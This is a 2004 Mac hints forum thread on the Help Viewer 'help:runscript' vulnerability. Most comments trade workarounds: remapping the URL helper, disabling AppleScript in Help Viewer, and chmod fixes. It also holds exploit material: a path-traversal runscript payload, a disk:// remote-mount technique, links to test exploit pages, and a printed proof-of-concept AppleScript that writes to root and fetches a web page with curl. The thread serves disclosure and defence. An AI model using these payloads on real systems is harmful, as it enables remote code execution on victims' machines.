Submit Hint Search The Forums LinksStatsPollsHeadlinesRSS
14,000 hints and counting!

How to avoid the new 'Help' URL handler vulnerability System
We debated -- occasionally heatedly -- about the supposed threat from a Trojan horse. As many commenters stated, I believe that the threat was negligible and the Mac online press was overly alarmist about that one. The principles (to me) of what a threat is ... a *true* threat is when:
  1. You use a trusted application / tool / OS component
  2. in a common-sense fashion or as-given / as-prescribed / normal configuration and then
  3. your system is damaged, compromised, or made vulnerable.
Now, there has been revealed a vulnerability in Safari/Help that is very much a threat. I have checked this myself. And all Safari users should change their configuration now. This should be the top story everywhere. Here are the steps to secure your machine:
  1. Turn off "Open 'safe' files after downloading" in the Safari general preferences.
  2. Download Misfox or MoreInternet (please use this MoreInternet mirror), or some other application which allows you to set your internet helper preferences.
  3. Set the protocol preference for 'help' to Chess or TextEdit, or something other than the Help application. robg update: This originally said Safari, but Safari is smart enough to hand the URL back to Help, so the exploit still works. I have mine set to TextEdit now, and the test exploits all fail.
This is a severe fault with a very simple exploit. Let's hope Apple fixes this soon.

[robg adds: First, thanks to everyone that sent in fixes -- I probably received five or six different solutions. I chose to publish this one because it seemed to be (a) the simplest to implement, and (b) the one that modified the system the least (not at all, actually). If you have a preferred solution that you'd like to include, please post it as a comment...

I agree with the statement that this is a relatively severe problem with Help -- it's not a Safari problem, but Safari makes it worse by allowing a link to automatically download and mount a disk image without the user's direct approval of the process. This allows an attacker to place their script in a known location for easy running via the Help URL script exposure. If you don't use Safari, you should at least change the Help URL helper application to something else until Apple releases a patch.

Update: Based on the comments and demo, I see that this vulnerability is not dependent on a locally installed script, as it can be used to execute a shell command as well. Thanks for the knowledge!

Finally, there's some good conversation on this issue on today's Macintouch, along with some alternative workarounds.]
    •    
  • Currently 2.40 / 5
  You rated: 3 / 5 (5 votes cast)
 
[29,913 views]  

How to avoid the new 'Help' URL handler vulnerability | 72 comments | Create New Account
Click here to return to the 'How to avoid the new 'Help' URL handler vulnerability' hint
The following comments are owned by whoever posted them. This site is not responsible for what they say.
Use GURLfriend
Authored by: sinjin on May 19, '04 11:23:18AM
I followed the advice in the hint as soon as I heard about this exploit but it wasn't enough to stop it. Test yourself by clicking on this url:

http://bronosky.com/pub/AppleScript.htm.

If you are vulnerable your terminal will launch and run the 'du' command. Unfortunately you need to alter some Applescript code within the Help application's contents. How to do that by has has been listed on several boards. The easy way is to run DGTGF. It replaces deleted the offending code from Help, and offers you the option to restore it if needed.

[ Reply to This | # ]

Use GURLfriend
Authored by: Tulse on May 19, '04 11:29:58AM

I used Misfox to change the helper app for the help protocol, and it does indeed prevent the exploit (using the provided URL to test the system after this change confirms this -- Terminal doesn't launch, and no shell command is executed).

I'd feel more comfortable about DGTG if the developers were clearer as to what it actually does.



[ Reply to This | # ]
Maybe you have to logout first
Authored by: hamarkus on May 19, '04 11:42:01AM

If read elsewhere that you have to log out before these changes take effect.



[ Reply to This | # ]
Maybe you have to logout first
Authored by: robg on May 19, '04 12:26:34PM

That's not true -- I just installed More Internet, set the Help URL helper to be TextEdit, then tried the above link. It worked perfectly -- TextEdit launched, but nothing happened. No restart required, and I didn't even quit and relaunch Firefox...

-rob.



[ Reply to This | # ]
Use GURLfriend
Authored by: sinjin on May 19, '04 01:44:44PM
Ahhhh, I see now that the hint has been updated and yes, I set the "help" protocol to hand the call back to Safari... which hands it back to Help! Sheesh.

So are we sufficiently secure from this exploit with the steps outlined in the hint? Or do we need to be nervous about those OpnApp scripts (the script that runs the exploit) sitting there on our hard drives? Forgive me if my questions are stupid, I'm a security newbie!

Anyhow, GURLfriend only seems to alter the OpnApp script in the english localization folder, yet there are copies of this script in other language folders.

[ Reply to This | # ]

Use GURLfriend
Authored by: Tulse on May 19, '04 02:39:58PM

If you set the "help" protocol to use Safari, it likely will cause problems. I have set it to use TextEdit, and it works fine.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: nyarrow on May 19, '04 11:43:51AM
This is more severe than the origional post explains - any shell command that has a standard path in OS X (read: all of them) can be executed this way. For a demo see:
http://bronosky.com/pub/AppleScript.htm

I prefer the solution found at this URL:

http://users.adelphia.net/~lively/fixbug.dmg

It just replaces the Applescript that helpviewer uses to launch files with a version that asks for confirmation. The code in both Applescripts is viewable (allaying security concerns), and it preserves the functionality of help viewer.

Thanks to "MongoTheGeek" in the MacRumours forum for this solution.

http://forums.macrumors.com/showthread.php?t=72115&page=5&pp=25



[ Reply to This | # ]

How to avoid the new 'Help' URL handler vulnerability
Authored by: Lankhmart on May 19, '04 12:55:45PM
I'm afraid that replacing the OpnApp.scpt file is not enough. Help Viewer can run any arbitrary AppleScript or shell command without referencing that script at all. OpnApp.scpt is only really necessary for opening a full-fledged application program or non-script file.

Someone can use one of the dmg-mounting techniques and then execute a script without invoking OpnApp.scpt at all:
help:runscript=../../../Volumes/evil_disk/evil.scpt


[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Black on May 19, '04 04:58:53PM

I tried out the test page at http://bronosky.com/pub/AppleScript.htm and I just got an error message telling me that OSX doesn't know how to handle internet addresses begining with help. I used misfox to change the response to help anyway and it now definately opens the new application I pointed it to. So, I don't know what the story is.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: anjoschu on May 20, '04 08:18:08AM

I would like to chime in that modifying OpnApp.scpt does _not_ suffice.

I have created an exploit that demonstrates just that:

http://www.schuderer.net/pub/secflaw.html

This exploit does not rely on OpnApp.scpt, but brings its own script.

After a few seconds, the left frame mounts a disk image on your machine using a meta refresh with this URL:
disk://schuderer.net/pub/dmgtest.dmg

A few seconds after the disk image has been mounted (up to 20), an applescript contained in that disk image will launch.

It tests whether it can create the file sometestfile.txt in your root "/" directory (not if you're probably not an Admin) and whether it can download a html page to your home directory (most probably so), then displays a dialog box with the results.

The script doesn't do anything else.

The meta refresh URL that is used is help:runscript=../../../Volumes/dmgtest/testme.scpt



[ Reply to This | # ]
Disclaimer: Try this at your own risk.
Authored by: anjoschu on May 20, '04 09:09:20AM
Don't be alarmed, I just wanted to make clear that everyone who tries out my exploit does so at his/her own risk. The exploit is designed to be absolutely non-destructive, but who knows what may happen on different systems.

Don't try this if you already have files called /sometestfile.txt and ~/sometestfile.html containing something important. They will not be overwritten, but data will be appended to them, which hypothetically can render them unusable.

If you would like to take a peek into the applescript with scripteditor before trying the exploit to make sure it won't harm your system, the disk image is situated here:

http://www.schuderer.net/pub/dmgtest.dmg
(MD5 (dmgtest.dmg) = f8aa896d52b746b525063c3f8ce29308)

Here is the code of the contained script testme.scpt:


try
	do shell script "echo In my opinion, working under an Administrator account is an unneccessary risk >> /sometestfile.txt"
	set verdict to "you're working as an Admin. That's very bad. I've been able to create
        the file 'sometestfile.txt' in the root directory of your hard drive. If I were feeling malicious, 
        I could install myself in the StartupItems, delete important system files or do almost anything
        else I wanted.
	
"
on error
	set verdict to "you're not working as an Admin. Thus my little plot to create a file in
       the root directory of your hard drive has failed. That's comforting. A little.
	
"
end try

try
	do shell script "curl http://www.heise.de >> ~/sometestfile.html"
	set curlresult to "I was able to download the entry page of a popular German IT news site
          to 'sometestfile.html' in your Home directory. This is just to demonstrate the power of
          a script like this one."
on error
	set curlresult to "Surprisingly I was unable to download some internet site to 'sometestfile.html'
         in your Home directory. Do you happen to have a third-party firewall installed or
          restricted permissions? A good idea if so."
end try

display dialog "Hello, I am (mostly) harmless.

This is a script from a disk image that has been mounted remotely via the URL
  disk://schuderer.net/pub/dmgtest.dmg.
This script  has been launched via the URL
  help:runscript=../../../Volumes/dmgtest/testme.scpt
  
I've noticed that " & verdict & curlresult buttons {"Ooh, I'm scared!"}

Paranoia galore! :)

[ Reply to This | # ]

How to avoid the new 'Help' URL handler vulnerability
Authored by: chabig on May 19, '04 11:47:35AM

Are we not also vulnerable from the same script that lives here...?

/System/Library/Components/Kotoeri.component/Contents/Resources/KotoeriHelp/shrd/OpnApp.scpt

Chris



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: cabbagewater on May 19, '04 11:50:26AM
If you don't use the Help Viewer and want a quick fix, type the following in the terminal, and press 'Return':

sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app

You'll have to enter your password.
To reverse this, type the following in the terminal:

sudo chmod 755 /System/Library/CoreServices/Help\ Viewer.app

[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: mastige on May 19, '04 12:33:27PM

The correct command is

sudo chmod 000 /System/Library/CoreServices/'Help Viewer.app'

to reverse

sudo chmod 000 /System/Library/CoreServices/'Help Viewer.app'



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: nyarrow on May 19, '04 12:33:53PM

Note that if you use one of the various utilities or OS X install disks to "repair permissions", this fix will be reversed...



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: cabbagewater on May 19, '04 09:32:41PM
Yes, the code as seen doesn't work--I forgot to use the code tags to protect the backslashes in front of the space for the help viewer.app. Note that the above reverse command needs chmod 755, not chmod 000 to actually reverse anything.

 sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app 

Also, repairing disk permissions will reverse this fix, although it doesn't make much more work for me--I already have a list of custom permissions for various security/personal reasons/preferences.

[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: mbroughtn on May 19, '04 11:52:32AM

I would recommend that everyone take a look at the Usenet thread on comp.sys.mac.system entitled Help Viewer vulnerability in Mac OS X 10.3 .

Aparently you don't need to have the malware disk image on your computer. It can be mounted on the http server.



[ Reply to This | # ]
Please download MoreInternet from the mirror
Authored by: Diggory on May 19, '04 11:54:32AM

Hi,

Author of MoreInternet here - my site is hosted on my DSL line which has become somewhat busy over the last few days!

I'd suggest downloading it from the mirror I have on my iDisk unless you want a long wait.

Choose the "Go" menu from the Finder and choose "iDisk"->"other user's public folder" then put DiggoryLaycock into the text box that pops up.

Or just go here:

http://homepage.mac.com/diggorylaycock/FileSharing.html

---
*****
monkeyfood software - http://www.monkeyfood.com



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: slughead on May 19, '04 12:14:00PM

All OS's have flaws, Windows XP had a flaw with its help program where it would delete anything in a path the URL specified, and since XP has impotent permissions, you really could just delete half the OS and no one's the wiser.

Posting fixes to vulnerabilities is what you'd expect from a reference/help/hobbyist site like this one, I can't believe there are some zealots who are so afraid of exposing the slightest flaw that they would censure the fix.

I for one don't want to worry about anything (that's why I use OS X in the first place), so if you could go ahead and post fixes, even if it's just for lil' ol' me, that'd be great.

---
http://lp.org -- that's all you need to know



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Lankhmart on May 19, '04 12:17:26PM

In step 3 above, DO NOT select Safari as the handler for "help:" URLs--Safari is "smart" enough to hand it right off to Help Viewer anyway. Instead choose an application that has no idea how to handle the URL. Many people seems to be selecting Chess.app and it works just fine.



[ Reply to This | # ]
correct
Authored by: slughead on May 19, '04 12:26:12PM
In the hint I submitted I pointed this out. I used my hotline client.

Here's the URL to the test page (THIS WILL DO HARMLESS THINGS BUT IT WILL FREAK YOU OUT):
www.insecure.ws/safari/0x04_test.html

---
http://lp.org -- that's all you need to know

[ Reply to This | # ]

No clicking needed
Authored by: slughead on May 19, '04 12:20:25PM

Oh and by the way, you don't have to click on any URL to have this bug screw you over. As seen in the proof of concept on insecure.ws, you can just have a redirect meta tag. Or you could put it in a 1x1 pixel iframe, or you could put it in an invisible frame, or you could .. etc.

Don't kid yourselves, this can start wheels spinning in your computer without you getting wise until the damage is done. Fix your protocol helpers.

---
http://lp.org -- that's all you need to know



[ Reply to This | # ]
No clicking needed
Authored by: lpangelrob on May 19, '04 04:33:04PM

The question is, which ones?

I've redirected help:// over to TextEdit for the time being on two computers (because I sure never used Help Viewer anyway), but I guess this theoretically means any helper applications that have holes in them (in this case, Help Viewer has the hole) are vulnerable.

If there are other applications out there that have this poorly designed "run" parameter, I'd like to know about them now instead of someone else discovering it for me. :-)

---
-Robert Guico



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Spades on May 19, '04 01:20:49PM
I think it should be made perfectly clear what the right way to fix this is. You want to use Misfox or MoreInternet to change the help protocol helper. Remote execution of scripts via a url reference is the core defect. Disabling opening of "safe" files and modifying the OpnApp script do not make you safe. They are bandages for a broken leg.

To be sure that you are safe, use Misfox or MoreInternet as stated in the hint, or make sure the fix you are given specifically changes the help protocol helper. If you're not sure, do not trust that the fix you are given is performing the correct changes! And of course don't use a "fix" you got from an e-mail either.

By the way, when Apple does release a fix for this problem (assuming it's the right fix), you can change the help protocol helper back to:

/System/Library/CoreServices/Help Viewer.app

Yes, you will want to change it back. Some parts of help probably aren't going to work right while your help protocol helper is set to a different application.

[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: binkley on May 19, '04 02:05:31PM

Erm, can't you just use the "protocol helpers" preference option in Internet Explorer? I hate Microsoft and all, but that's easier than downloading a second app.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: rofl on May 19, '04 02:10:11PM

another good helper to stop those maleware:

http://isophonic.net/



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Spades on May 19, '04 03:24:29PM

That's actually the application that inspired my post. Every indication is that it just modifies OpnApp.scpt, which is the wrong fix. I don't see anything that says this changes the help protocol helper, which is the right way to deal with this. I don't mean to knock the efforts of the people that made that, and if it does make the helper change, please correct me. But, the critical defect is the runscript part of help urls, and this program does not look like a valid workaround for the defect.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Spades on May 19, '04 03:13:57PM

I forgot that IE exists for Macs. I never knew that option was there. I guess that works too.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: roncross@cox.net on May 20, '04 12:08:33AM

Thanks for the advice. I opened Internet Explorer and pointed the protocol helper toward chess. I went to the website at

http://bronosky.com/pub/AppleScript.htm

This just opened the chess application. The question that I have is now that the helper in the protocol is pointing toward chess.app. Do I still need to turn off "Open 'safe' files after downloading" in the Safari general preferences.

thx
RLC

---
rlc



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: balakera on May 19, '04 02:27:05PM

I wonder, did anyone see the fix offered on macfixit.com ?
It disables Help Viewer.app's ability to run scripts.
I used it and it worked great. I still have Help Viewer working for help, but it refuses to run any scripts through at it.



[ Reply to This | # ]
I have, and it's the most effective method available.
Authored by: makeinu on May 19, '04 03:21:32PM
Inside the Help.app package, there is a file named Info.plist. This is an XML property list document. In it is a field that controls Help's ability to run Applescripts. Find the field named "NSAppleScriptEnabled" and change the boolean value to "No". You can do this with Property List Editor, or with Text Edit if you remember to save it as plain text with UTF-8 encoding. This will disable prevent the script from running, as it requires Applescript for functionality. I have tested this, and so have other people, and it works. Safari will download the image, mount it if allowed, Help will launch, and that's it. No need to disable Help at all, although not auto-opening files is still a very good idea. See more at MacCentral.

[ Reply to This | # ]
NSAppleScriptEnabled boolean No is great!
Authored by: Uncle Asad on May 19, '04 08:44:21PM

This seems to be the most sane and unobtrusive "quickfix" for this exploit; I don't notice any loss of functionality other than that specific to this exploit. Help Viewer still works and can still "open System Preferences for me" from help pages, and the dmg and local application vectors no longer are open doors (remapping disk:// and disks:// is probably an additional safeguard; who has ever used them?)



[ Reply to This | # ]
NSAppleScriptEnabled boolean No is great!
Authored by: makeinu on May 20, '04 09:09:23AM
Thank you!!! I'm glad that at least two people bothered to read all of the offered solutions!! I can understand that people are in a fit trying to find a 'quick fix' solution for this, as it is kinda scary, but there is a better solution out there than remapping the help:// protocol, and this is it. Please, people, give this a try. It works, and works well, across all users on any system, can be transparently fixed when Apple finally issues a fix through Software Update, and can be simply reversed or reapplied as necessary. Don't just jump on the first solution offered, or the most popular one; it may not be the most practical one. Jeez, can you tell that Mac users are not used to dealing with the stress of this kind of vulnerability?

[ Reply to This | # ]
NSAppleScriptEnabled boolean No is great!
Authored by: Han Solo on May 20, '04 12:02:21PM
Yes, and the easiest way to do this is with a single instruction issued from the command line in the Terminal. Notice that you must have administrative rights on the Mac in question to undertake this fix.

Open a Terminal window and type (or copy and paste) the following:


sudo defaults write /System/Library/CoreServices/Help\ Viewer.app/Contents/Info NSAppleScriptEnabled -bool 'no'
This will set the boolean switch as recommended here. Yes, I posted a similar reply below, but given the length of the comments here I thought repeating it might be helpful for some, and yes, I did get this from the MacInTouch homepage Thursday morning. Hope this is helpful.

[ Reply to This | # ]
I have, and it's the most effective method available.
Authored by: marklark on May 20, '04 09:11:15AM

In mine, I changed "true/" to "false/"

YSMD



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: neuralstatic on May 19, '04 04:17:32PM

yeah, i used the script that pops up an ok window (OpnApp.scpt edit from macfixit), it seems to work great.

then i just scp'd it to about 20 machines in the shop, and it should be done



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: anjoschu on May 20, '04 03:41:42PM
I'm afraid it won't be done. Try this link to launch a script already present on your machine that displays the current date and time or my own 'exploit' at http://schuderer.net/pub/secflaw.html (harmless but still at your own risk). You'll find that you're still vulnerable.

[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Crawdad on May 19, '04 05:59:00PM

Help pages with sidebars, like the help for Mail.app, won't work any more if you do this. I tried it.



[ Reply to This | # ]
98 separate instances of this crappy code. Thanks Apple!!!
Authored by: klktrk on May 19, '04 03:05:14PM
There are ninety-eight separate instances of this poorly conceived AppleScript on my installation. Yippee! Thanks for cramming my hard drive full of idiotic code, Apple. They even localize it!

Some examples...

  • /Applications/Address Book.app/Contents/Resources/English.lproj/
    AddressBookHelp/shrd/OpnApp.scpt
  • /Applications/iCal.app/Contents/Resources/English.lproj/iCal Help/
    shrd/OpnApp.scpt
  • /Applications/Image Capture.app/Contents/Resources/English.lproj/
    ImageCaptureHelp/shrd/OpnApp.scpt
  • /Applications/iMovie.app/Contents/Resources/English.lproj/iMovie Help/
    shrd/OpnApp.scpt
  • /Applications/Mail.app/Contents/Resources/English.lproj/MailHelp/
    shrd/OpnApp.scpt
  • /Applications/Preview.app/Contents/Resources/English.lproj/
    PreviewHelp/shrd/OpnApp.scpt
  • /Applications/Safari.app/Contents/Resources/English.lproj/SafariHelp/
    shrd/OpnApp.scpt
  • /Applications/TextEdit.app/Contents/Resources/English.lproj/
    TextEditHelp/shrd/OpnApp.scpt
  • /Applications/Utilities/Bluetooth File Exchange.app/Contents/Resources/
    English.lproj/BluetoothHelp/shrd/OpnApp.scpt
  • /Applications/Utilities/Directory Access.app/Contents/Resources/
    English.lproj/DirectoryAccessHelp/shrd/OpnApp.scpt
  • /Library/Documentation/Help/AirPort.help/Contents/Resources/
    English.lproj/shrd/OpnApp.scpt
  • /Library/Documentation/Help/AppleScript.help/Contents/Resources/
    English.lproj/shrd/OpnApp.scpt
  • /Library/Documentation/Help/iPodHelp.help/Contents/Resources/
    da.lproj/shrd/OpnApp.scpt
  • /Library/Documentation/Help/iPodHelp.help/Contents/Resources/
    English.lproj/shrd/OpnApp.scpt
  • /Library/Documentation/Help/MacHelp.help/Contents/Resources/English.lproj/
    shrd/OpnApp.scpt
  • /System/Library/Components/Ink.component/Contents/SharedSupport/
    InkServer.app/Contents/Resources/English.lproj/InkHelp/shrd/OpnApp.scpt
  • /System/Library/Components/TCIM.component/Contents/Support/
    TCIMUIServer.app/Contents/Resources/TCIMHelp/shrd/OpnApp.scpt
  • /System/Library/Components/XPIM.component/Contents/PIMUIServer.app/
    Contents/Resources/HIMHelp/shrd/OpnApp.scpt
[robg adds: I edited this comment to add some line breaks, so that the comment would be much narrower. No other content in this comment was changed.]

[ Reply to This | # ]
98 separate instances of this crappy code. Thanks Apple!!!
Authored by: Spades on May 19, '04 03:31:45PM

locate OpnApp.scpt | wc -l

I see 259 copies of this file. Don't worry though. The script is not "crappy." It's harmless by itself. You only need to worry if there's a hole that lets somebody else run the script. The hole is the problem, not the script.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: CarlosD on May 19, '04 03:23:50PM

Thanks for getting this news up there, Rob. Again, you do a great job.

And to all, I do apologize for the error in the original post about setting the help handler to Safari. Thanks for catching it. I noticed that yesterday, but am not aware of a way to send in an edit to a post that's pending. I have since switched my help handler to Camino, so that I easily can see the URL being called.

Believe me, I am aware that this can run items other than just local mounted images. (Though that would be *harder* to exploit.) I had no intention of downplaying the risk. I can hardly see a limit to what you can do with this hole.

However, the changes prescribed should solve the issue for now.

---
Carlos D
===
my music
http://music.altamar.dynalias.org/



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: clindberg on May 19, '04 04:26:29PM
Another option is to use my RCDefaultApp preference pane, which is sort of like MoreInternet except that it also allows setting helpers for file extensions, file types, and MIME types.

I just updated it today with version 1.1, which adds the ability to "disable" a URL scheme (or one of the other types) by assigning it to a private application that will do nothing with it (the app loads in the background, then quits). This can be used to disable the help: and/or disk: URL schemes until a better fix is available (setting them back to the original apps is just as easy).

[ Reply to This | # ]

RCDefaultApp
Authored by: sjk on May 20, '04 05:04:46PM

I replaced MoreInternet with RCDefaultApp months ago. :-)
Thanks, Carl.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: osxpounder on May 19, '04 04:38:50PM

I tried to make a script that, when saved as an application, would be run instead of the Help Viewer. I used MoreInternet to point to my script, which I saved as an application, but it doesn't run. I guess that's because I just interrupted the process that would enable the script to run.

All I wanted to do was to make a dialog that pops up and tells me what's happening:

display dialog "Something or someone is trying to run a program remotely,
using an OSX exploit that casues your browser to run commands on your computer.
This is just a notice; the command was not executed."

It pops up a dialog when I run it, but it doesn't run when triggered by the exploit as demonstrated in the test link, above. I got the idea from MacInTouch's Jim Cushing & Tracy Valleau, who post a method to edit the OpnApp.scpt that's inside the MacHelp.help. You have to "Show Contents" to see it.

But it seems to me their solutions could be invisibly wiped out by a future Software Update -- right?

Anyway, my point is that I'd like to force this exploit to open the app of my choosing, and I'd like that app to be something that pops up a dialog box, like my script here does, but I have no idea how, or if that's reasonable.

---
--
osxpounder

[ Reply to This | # ]

Assigning help: to an AppleScript applet
Authored by: Lankhmart on May 19, '04 08:04:19PM

You can indeed set up an AppleScript applet to receive and handle the GetURL event (any "help:" URL in this case), but there are a couple of tricks to it. If you actually want to do anything with the received URL string (I've set up my own script to simply display a dialog showing any attempted executions), just include an "open location" handler:

on open location the_url
    display dialog the_url
end open location

Once you've saved it as an application, you need to give it a unique creator code to distinguish it from other AS applets, and you have to change its "plst" resource (analogous to an Info.plist file) to reflect the new creator code in the "CFBundleSignature" entry. That means pulling out an old copy of ResEdit (Classic) or perhaps the new Rezilla (http://webperso.easyconnect.fr/bdesgraupes/DocHTML/rezilla.html) to dig into the resource fork of your applet and change the occurrence of "aplt" in the plst 0 resource to whatever four-character code you've chosen.

Alternatively, if your script only needs to run on Panther, you can save it from Script Editor as an "Application Bundle," and then you will have inside the resulting application package a plain text Info.plist file that you can edit without any resource fork meddling.

Then, of course, select your app with RCDefaultApp or MisFox, etc. and it should work.



[ Reply to This | # ]
Re: Assigning help: to an AppleScript applet
Authored by: Lankhmart on May 19, '04 08:30:03PM

Actually, the Application Bundle version is proving troublesome for me, but the standard application type with edited plst resource works fine in my experience.



[ Reply to This | # ]
Re: Assigning help: to an AppleScript applet
Authored by: Lankhmart on May 19, '04 09:52:45PM
It turns out I just had to restart the Finder to get it to acknowledge the creator code change in the bundle app's Info.plist file. For the sake of completeness, you might also add a few more lines to the plist to let the system know that your AppleScript can in fact handle the "help:" URL scheme.

	<key>CFBundleURLTypes</key>
	<array>
		<dict>
			<key>CFBundleURLSchemes</key>
			<array>
				<string>help</string>
			</array>
		</dict>
	</array>
Just place that before the closing
</dict></plist>


[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: osxpounder on May 19, '04 05:31:15PM

One of my userids on one of our Macs will not "take" the change. I even tried using MoreInternet to remove the help entry from the list of protocols. Still, the exploit works, and when I look again in System Preferences>MoreInternet, I see that the Help Viewer settings are always back as they were before I changed anything.

This userid doesn't normally have the rights to even open most Prefs panels, and is not an admin user, of course.

Any ideas what I should check? I need to either secure this userid or delete it and recreate it.

---
--
osxpounder



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: clindberg on May 19, '04 05:43:53PM
AppleScript itself is used to message an application to accept a URL. You need to have a GURL handler declared in your application's scriptSuite (possibly requiring the name "GetURL"; I'm not sure). Therefore, only real applications that have applescript enabled (and a GURL handler) can be the helper for a URL scheme.

You can use my RCDefaultApp pref pane (as mentioned in a previous reply) to just disable a URL scheme. The internal implementation is to assign it to a simple do-nothing application, which does declare a GURL handler.

[ Reply to This | # ]

MoreInternet changes not taking effect for some userids...
Authored by: osxpounder on May 19, '04 06:13:02PM

... on both Panther and Jaguar boxes. Two of the users [one each on Panther and Jaguar] show different symptoms:

The Panther problem userid's symptom is that the Help protocol's setting keeps reverting back to default immediately.

The Jag user's problem is that the Help protocol disappears from the list, after I make the change in MoreInternet.

Both users remain vulnerable, so I locked them out for now.

Anyway, view that as a warning: double-check that all your userids do, indeed, reflect the change after quitting System Preferences.

Would RCDefaultApp be likely to work in this case, you think?

---
--
osxpounder



[ Reply to This | # ]
MoreInternet changes not taking effect for some userids...
Authored by: clindberg on May 19, '04 06:22:32PM

Yes, RCDefaultApp should work. There is no real way to "remove" a mapping; as long as LaunchServices knows of an application that can handle a URL scheme, it will use it. There are ways to kill all of the user-set mappings, but I would think that all Apple-provided default helpers get re-added.

RCDefaultApp "disables" schemes by assigning them to a real application that does nothing with them. It runs in the background (then exits) so you never see it. Since it's a real application, the setting should remain, and it's easy to change back to Helper Viewer when/if Apple fixes the vulnerability. I am fairly certain that MoreInternet does not work this way.



[ Reply to This | # ]
EASY Step by step instructions...
Authored by: jriskin on May 19, '04 06:48:58PM
I put these up yesterday for the less technically inclined Mac users. So if anyone needs to get their mom to fix it, this should be fairly self explanatory.

http://www.riskin.org/osxfix/

[ Reply to This | # ]
EASY Step by step instructions...
Authored by: violetsky on May 19, '04 07:54:04PM

Just an FYI, my 10.2.8 would not allow me to select Chess as a helper app. I had to select Camino. Strange that others could.



[ Reply to This | # ]
Mistakes happen, not fixing them hurts !
Authored by: voldenuit on May 19, '04 08:04:57PM

First of all, I am extremely disappointed that Apple has happily ignored this problem for two months.
I might be mistaken, but I feel it is strikingly stupid in the first place to have anything such as HelpViewer at all, let alone with the ability to start remotely scripts (even if it is done in arcane ways, it just works). Why not use Safari instead of re-inventing the wheel (which turns out to be square) ?

One could either have a HelpViewer app that can run scripts but cannot be called more or less directly and without warning by visiting hostile websites or drop that ability entirely and use Safari directly.

People I have been explaining how vastly more intelligent Apple's security concept and how well conceived and thought out OS X was, compared to competing OSs and browser with more marketshare riddled with security issues on a daily basis, are laughing at me now and unfortunately, they have valid reasons to do so !

I could reluctantly admit that even the brialliant crowd at Apple might not have been able to figure out the evil chaining of tricks that needs to be done to make the exploit work on their own, but they should have fixed it within less than 48 hours after they got the exploits proof-of-concept, even if it slightly breaks some of the more esotheric help-functionanlities.

Pretty much like Rob, I am equally disgusted by the dumbness of the news-reports about the "worm"-stories and Apple's stupid original runscript-design, the persistant failure to assess the importance of the bug report and to issue a quick fix.

Bugs slip through, but failure to fix them as soon as they expose themselves is a Really Very Bad Thing(tm).

One more thing:
It is harder work to code with the boring carefulness that reasonable security requires rather than adding half-baked "visionary" new features like there was no tomorrow. While they got more and more on the RFC- and open Standards-track, there is still quite some Apple-arrogance of the Elder Days that survived, assuming that the brilliance of the idea, the slickness of the GUI compensates poor realisation.
Unix is a harsh mistress. Coding watertight and bulletproof solutions obeys rules that exist for everyone, reality-distortion-fields won't cut it.



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: mark hunte on May 19, '04 08:15:22PM

Thanks all for the Heads up on this.

If you want a reminder or a warning as to why Textedit has poped up.

Then try using Stickies. instead.

open stickies and save the open window
with your Message. " Warning some F**@ is trying to use the Helper Exploit to screw your Mac." or some such message. And then change your help app to stickies using one of the suggested apps.

When or if you run into one of these help.Urls. Stickies will pop up
and show you the warning

---
mh



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: osxpounder on May 20, '04 11:41:47AM

Trying the Stickies idea, I learned that it isn't ideal. I already have many Stickies, and I added one large pink one, "IF STICKIES HAS JUST POPPED UP, AND YOU DON'T KNOW WHY, IT COULD BE ..." etc.

When I tested it by hitting that bronosky test link, only one Sticky note popped up, and it wasn't the warning one. The rest remained hidden beneath my Safari window.

That's why I wanted an Applescript to act like an application, so I could trigger a dialog box that says precisely what I need it to say for this situation. Lankhmart's proposal is too complex for our purposes, though, but Lank, I appreciate it, just the same!

---
--
osxpounder



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: mark hunte on May 20, '04 04:36:24PM

Sorry I should of added ''if you do not already use stickies.''

One problem with texeditor for me, is I have it open all the time,
with blank windows plus others. so Stickies works fine for me.


---
mh



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: cougar718 on May 20, '04 02:09:49AM
Hello all,

The best solution I found to prevent this vulnerability from taking place is to set the NSApplescriptEnabled property list key inside the Info.plist file of the Help Viewer application to false opposed to true. This will prevent Help Viewer application from running AppleScript.

Note : The instructions below use vi - Feel free to use any text editor you like such as pico.
  1. vi /System/Library/CoreServices/Help\ Viewer.app/Contents/Info.plist
  2. Type /NSApple to have vi search for NSApplescriptEnabled
  3. Use the down arrow to move the cursor to beginning of the word true, which will be in the next line after NSApplescriptEnabled.
  4. Use the 'x' key to delete the word true
  5. Type 'i' key for vi's insert mode
  6. Type false
